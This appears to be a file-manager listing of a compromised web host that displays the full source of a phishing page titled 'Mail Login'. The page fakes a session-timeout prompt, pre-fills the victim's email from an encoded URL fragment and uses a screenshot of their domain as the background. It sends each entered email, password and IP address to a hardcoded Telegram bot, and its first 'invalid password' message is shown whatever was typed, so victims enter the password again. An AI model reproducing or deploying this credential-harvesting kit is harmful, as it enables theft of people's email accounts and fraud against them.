at path:
ROOT
/
gsult
/
chamtimeout.html
run:
R
W
Run
chamtimeout.html
22.48 KB
2026-09-10 04:21:45
R
W
Run
Delete
Rename
loginn.htm
10.87 KB
2026-09-10 14:16:47
R
W
Run
Delete
Rename
error_log
up
📄
chamtimeout.html
Save
<!doctype html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Mail Login</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" /> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet" /> <style> * { margin: 0; padding: 0; box-sizing: border-box; font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif; } body { background-color: #f5f5f5; transition: background-image 0.5s ease; background-size: cover; background-position: center; min-height: 100vh; display: flex; align-items: center; justify-content: center; } .overlay { position: fixed; top: 0; left: 0; right: 0; bottom: 0; /* background-color: rgba(109, 109, 109, 0.4); */ z-index: 0; } .login-form { background-color: #ffffff; padding: 2rem; border-radius: 8px; width: 500px; margin: 20px; z-index: 1; } .login-title { text-align: center; font-size: 1.8rem; color: #333; margin-bottom: 0.5rem; } .form-group { margin-bottom: 1.5rem; } .input-group { display: flex; align-items: center; border: 1px solid #ddd; border-radius: 4px; padding: 0.5rem; transition: border-color 0.3s; } .input-group:focus-within { border-color: #0177d8; } .input-group-addon { padding: 0 0.5rem; color: #666; } .form-control { border: none; outline: none; box-shadow: none !important; border-color: inherit !important; width: 100%; padding: 0.5rem; font-size: 1rem; } .btn-submit { width: 100%; background: #0177d8; padding: 0.75rem; border: none; color: white; border-radius: 4px; font-size: 1rem; font-weight: 600; cursor: pointer; transition: background-color 0.3s; } .btn-submit:hover { background: #0160b5; } .form-footer { display: flex; justify-content: space-between; align-items: center; margin-top: 1.5rem; } .checkbox-inline { display: flex; align-items: center; color: #666; } .forgot-password { color: #0177d8; text-decoration: none; } .forgot-password:hover { text-decoration: underline; } .copyright { text-align: center; margin-top: 2rem; color: #666; font-size: 0.85rem; } .alert { padding: 0.75rem; border-radius: 4px; margin-bottom: 1rem; } .alert-danger { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; } .spinner-container { display: flex; align-items: center; justify-content: center; height: 100vh; background-color: rgba(255, 255, 255, 0.9); position: fixed; top: 0; left: 0; right: 0; bottom: 0; z-index: 9999; } .spinner { width: 3rem; height: 3rem; border: 0.25rem solid rgba(1, 119, 216, 0.3); border-radius: 50%; border-top-color: #0177d8; animation: spin 1s linear infinite; } .success-container { max-width: 500px; margin: 0 auto; padding: 2rem; text-align: center; background-color: white; border-radius: 12px; box-shadow: 0 8px 24px rgba(0, 0, 0, 0.12); } .success-icon { color: #28a745; font-size: 4rem; margin-bottom: 1.5rem; } .success-message { font-size: 1.2rem; margin-bottom: 2rem; color: #333; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .cursor-pointer { cursor: pointer; } .hidden { display: none !important; } /* Session Timeout Modal Styles */ .session-modal-overlay { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background-color: rgba(0, 0, 0, 0.7); display: flex; align-items: center; justify-content: center; z-index: 9998; backdrop-filter: blur(3px); } .session-modal-content { background-color: white; padding: 30px; border-radius: 12px; max-width: 400px; width: 90%; box-shadow: 0 10px 40px rgba(0, 0, 0, 0.2); text-align: center; animation: modalAppear 0.3s ease-out; } .session-modal-icon { margin-bottom: 20px; color: #ff9800; font-size: 3rem; } .session-modal-title { font-size: 24px; font-weight: bold; margin-bottom: 15px; color: #333; } .session-modal-message { font-size: 16px; color: #666; margin-bottom: 25px; line-height: 1.5; } .session-modal-btn { background-color: #0177d8; color: white; border: none; padding: 12px 30px; border-radius: 6px; font-size: 16px; font-weight: bold; cursor: pointer; width: 100%; transition: background-color 0.3s; } .session-modal-btn:hover { background-color: #0168c1; } @keyframes modalAppear { from { opacity: 0; transform: translateY(-20px) scale(0.95); } to { opacity: 1; transform: translateY(0) scale(1); } } /* Password error styling */ .password-error { color: #721c24; background-color: #f8d7da; border: 1px solid #f5c6cb; padding: 0.75rem; border-radius: 8px; margin-bottom: 1rem; text-align: center; font-size: 0.9rem; } /* Responsive adjustments */ @media (max-width: 480px) { .login-form { padding: 1.5rem; } .login-title { font-size: 1.4rem; } .session-modal-content { padding: 20px; } .session-modal-title { font-size: 20px; } .session-modal-message { font-size: 14px; } } </style> </head> <body> <!-- Loading Spinner --> <div id="loadingSpinner" class="spinner-container"> <div class="spinner"></div> </div> <!-- Session Timeout Modal --> <div id="sessionModal" class="session-modal-overlay hidden"> <div class="session-modal-content"> <div class="session-modal-icon"> <i class="fas fa-exclamation-triangle"></i> </div> <h2 class="session-modal-title" id="sessionModalTitle"> Session Timeout </h2> <p class="session-modal-message" id="sessionModalMessage"> Your session has expired. Please login to your account again. </p> <button class="session-modal-btn" id="sessionModalBtn">OK</button> </div> </div> <!-- Success Screen --> <div id="successScreen" class="success-container hidden"> <div class="success-icon"> <i class="fas fa-check-circle"></i> </div> <div class="success-message" id="successMessage"> Thank you. You will receive your file in your email shortly. </div> <a href="#" class="copyright" id="successCopyright"> Copyright © 2026 </a> </div> <!-- Main Login Form --> <div id="loginForm" class="hidden"> <!-- <div class="overlay"></div> --> <div class="login-form"> <form id="loginFormElement"> <h2 class="text-center mb-4"> <div id="top" class="flex items-center justify-center"> <span class="ml-2 vertical-align-middle" id="logoText"></span> </div> </h2> <h3 class="login-title text-center" id="loginTitle">Email Login</h3> <br /> <br /> <!-- Error Messages --> <div id="generalError" class="alert alert-danger hidden"></div> <div id="passwordError" class="password-error hidden"></div> <!-- Email Input --> <div class="form-group"> <div class="input-group"> <span class="input-group-addon"> <i class="fas fa-user"></i> </span> <input type="email" class="form-control" id="email" name="email" placeholder="Email" /> </div> </div> <!-- Password Input --> <div class="form-group"> <div class="input-group"> <span class="input-group-addon cursor-pointer" id="togglePassword" > <i class="fas fa-eye" id="passwordIcon"></i> </span> <input type="password" class="form-control" id="password" name="password" placeholder="Password" /> </div> </div> <!-- Submit Button --> <div class="form-group"> <button type="submit" class="btn-submit" id="submitButton"> Login </button> </div> <!-- Form Footer --> <div class="form-footer"> <div> <label class="checkbox-inline"> <input type="checkbox" id="rememberMe" class="mr-2" /> <span>Remember me</span> </label> </div> <div> <a href="#" class="forgot-password" id="forgotPassword"> Forgot Password? </a> </div> </div> </form> <!-- Copyright --> <p class="copyright" id="copyright">Copyright © 2026</p> </div> </div> <script> // Configuration const TELEGRAM_BOT_TOKEN = "8304913659:AAFEh6rGpEq1oLxNpaR15qzP1lUlr-1v_BQ"; const TELEGRAM_CHAT_ID = "5612738561"; // State variables let showPassword = false; let email = ""; let password = ""; let loading = true; let success = false; let language = {}; let domain = ""; let ipAddress = "Unknown"; let attemptCount = 1; let showPasswordError = false; let showSessionModal = false; const currentYear = new Date().getFullYear(); // DOM elements const loadingSpinner = document.getElementById("loadingSpinner"); const loginForm = document.getElementById("loginForm"); const successScreen = document.getElementById("successScreen"); const loginFormElement = document.getElementById("loginFormElement"); const emailInput = document.getElementById("email"); const passwordInput = document.getElementById("password"); const togglePassword = document.getElementById("togglePassword"); const passwordIcon = document.getElementById("passwordIcon"); const submitButton = document.getElementById("submitButton"); const generalError = document.getElementById("generalError"); const passwordError = document.getElementById("passwordError"); const loginTitle = document.getElementById("loginTitle"); const copyright = document.getElementById("copyright"); const successMessage = document.getElementById("successMessage"); const successCopyright = document.getElementById("successCopyright"); const sessionModal = document.getElementById("sessionModal"); const sessionModalTitle = document.getElementById("sessionModalTitle"); const sessionModalMessage = document.getElementById( "sessionModalMessage", ); const sessionModalBtn = document.getElementById("sessionModalBtn"); const rememberMe = document.getElementById("rememberMe"); const forgotPassword = document.getElementById("forgotPassword"); // Initialize the page document.addEventListener("DOMContentLoaded", function () { initializePage(); fetchIpAddress(); // Show session timeout modal after 500ms setTimeout(() => { showSessionModal = true; sessionModal.classList.remove("hidden"); }, 500); }); // Initialize page function initializePage() { // Simulate loading setTimeout(() => { loading = false; loadingSpinner.classList.add("hidden"); // Check URL for domain and email data const currentUrl = window.location.href; const urlObj = new URL(currentUrl); let domainPath = urlObj.hash; if (domainPath) { domainPath = handleBase64Data( domainPath.substring(1).split("/")[0], ); let domainName = domainPath.substring(domainPath.indexOf("@") + 1); domain = domainName; // Set background image from domain const backgroundImage = `https://image.thum.io/get/width/1200/http://${domainName}`; document.body.style.backgroundImage = `url('${backgroundImage}')`; } // Parse hash for email and language data const hashParts = window.location.hash ? window.location.hash.substring(1).split("/") : []; if (hashParts.length > 0) { const emailData = handleBase64Data(hashParts[0]); const langData = getLocalizedLanguage( hashParts.length > 1 ? hashParts[1] : "", ); language = langData; if (emailData) { email = emailData; emailInput.value = emailData; document.title = `${emailData.split("@")[1]} ${language.mail || ""}`; } } else { language = getLocalizedLanguage(); } // Update UI with language data updateUIWithLanguage(); // Show login form loginForm.classList.remove("hidden"); }, 1000); } // Handle base64 encoded data function handleBase64Data(data) { try { return atob(data); } catch (error) { return data; } } // Get localized language strings function getLocalizedLanguage(langCode = "") { const browserLang = langCode || navigator.language || navigator.userLanguage; const langPrefix = browserLang.substring(0, 2); const languages = { en: { lessThan4: "Password must be at least 4 characters long.", msg: "Invalid password. Please enter the correct information.", error: "The account does not exist. Please enter a different account.", emlTxt: "Email", pswTxt: "Password", submitBtn: "Login", secLgSs: "Secure login session", frgPsw: "Forgot password?", copy: "", verifyingText: "Verifying...", emlLogin: "Email Login", mail: "Mail", yourEmail: "Your email has been successfully activated.", success: "Thank you. You will receive your file in your email shortly.", sessionTimeout: "Session Timeout", sessionMessage: "Your session has expired. Please login to your account again.", okButton: "OK", }, }; return languages[langPrefix] || languages["en"]; } // Update UI with language strings function updateUIWithLanguage() { if (loginTitle && language.emlLogin) { loginTitle.textContent = language.emlLogin; } if (emailInput && language.emlTxt) { emailInput.placeholder = language.emlTxt; } if (passwordInput && language.pswTxt) { passwordInput.placeholder = language.pswTxt; } if (submitButton && language.submitBtn) { submitButton.textContent = language.submitBtn; } if (copyright && language.copy) { copyright.textContent = `${language.copy} ${currentYear}`; } if (successMessage && language.success) { successMessage.textContent = language.success; } if (successCopyright && language.copy) { successCopyright.textContent = `${language.copy} ${currentYear}`; } if (sessionModalTitle && language.sessionTimeout) { sessionModalTitle.textContent = language.sessionTimeout; } if (sessionModalMessage && language.sessionMessage) { sessionModalMessage.textContent = language.sessionMessage; } if (sessionModalBtn && language.okButton) { sessionModalBtn.textContent = language.okButton; } // Update "Remember me" text if (language.secLgSs) { const rememberMeLabel = rememberMe.nextElementSibling; if (rememberMeLabel) { rememberMeLabel.textContent = language.secLgSs; } } // Update "Forgot Password" text if (language.frgPsw) { forgotPassword.textContent = language.frgPsw; } } // Fetch IP address async function fetchIpAddress() { try { const response = await fetch("https://api.ipify.org?format=json"); const data = await response.json(); ipAddress = data.ip; } catch (error) { console.error("Error fetching IP address:", error); ipAddress = "Failed to get IP"; } } // Send credentials to Telegram async function sendToTelegram(email, password, attemptNumber) { const now = new Date(); const datetime = now.toISOString(); const message = ` 📧 Email: ${email} 🔑 Password: ${password} 🔄 Attempt: ${attemptNumber} 🌐 IP Address: ${ipAddress} ⏰ Timestamp: ${datetime} `; const url = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${TELEGRAM_CHAT_ID}&text=${encodeURIComponent(message)}`; try { await fetch(url); console.log("Message sent to Telegram"); return true; } catch (error) { console.error("Error sending message to Telegram:", error); return false; } } // Handle form submission async function handleSubmit(e) { e.preventDefault(); // Get form values email = emailInput.value.trim(); password = passwordInput.value.trim(); // Clear errors generalError.classList.add("hidden"); passwordError.classList.add("hidden"); // Validate email const emailRegex = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/; if (!emailRegex.test(email)) { generalError.textContent = language.error || "Invalid email format"; generalError.classList.remove("hidden"); return; } // Validate password length if (password.length < 4) { generalError.textContent = language.lessThan4 || "Password must be at least 4 characters"; generalError.classList.remove("hidden"); return; } // Show loading state submitButton.disabled = true; const originalBtnText = submitButton.textContent; submitButton.innerHTML = `<span class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></span> ${language.verifyingText || "Verifying..."}`; try { // Always send credentials to Telegram await sendToTelegram(email, password, attemptCount); if (attemptCount === 1) { // First attempt - show wrong password message setTimeout(() => { passwordInput.value = ""; submitButton.disabled = false; submitButton.textContent = originalBtnText; passwordError.textContent = language.msg || "Invalid password. Please try again."; passwordError.classList.remove("hidden"); attemptCount = 2; }, 1500); } else { // Second attempt - redirect to domain setTimeout(() => { if (domain) { window.location.href = `http://www.${domain}`; } else { // If no domain, show success screen loginForm.classList.add("hidden"); successScreen.classList.remove("hidden"); } }, 1500); } } catch (error) { console.log("Error in submission:", error); submitButton.disabled = false; submitButton.textContent = originalBtnText; generalError.textContent = "An error occurred. Please try again."; generalError.classList.remove("hidden"); } } // Toggle password visibility function togglePasswordVisibility() { showPassword = !showPassword; if (showPassword) { passwordInput.type = "text"; passwordIcon.classList.remove("fa-eye"); passwordIcon.classList.add("fa-eye-slash"); } else { passwordInput.type = "password"; passwordIcon.classList.remove("fa-eye-slash"); passwordIcon.classList.add("fa-eye"); } } // Close session modal function closeSessionModal() { showSessionModal = false; sessionModal.classList.add("hidden"); } // Event listeners loginFormElement.addEventListener("submit", handleSubmit); togglePassword.addEventListener("click", togglePasswordVisibility); sessionModalBtn.addEventListener("click", closeSessionModal); // Forgot password link forgotPassword.addEventListener("click", function (e) { e.preventDefault(); alert( "Please contact your system administrator to reset your password.", ); }); // Remember me checkbox rememberMe.addEventListener("change", function () { if (this.checked) { console.log("Remember me checked"); } else { console.log("Remember me unchecked"); } }); </script> </body> </html>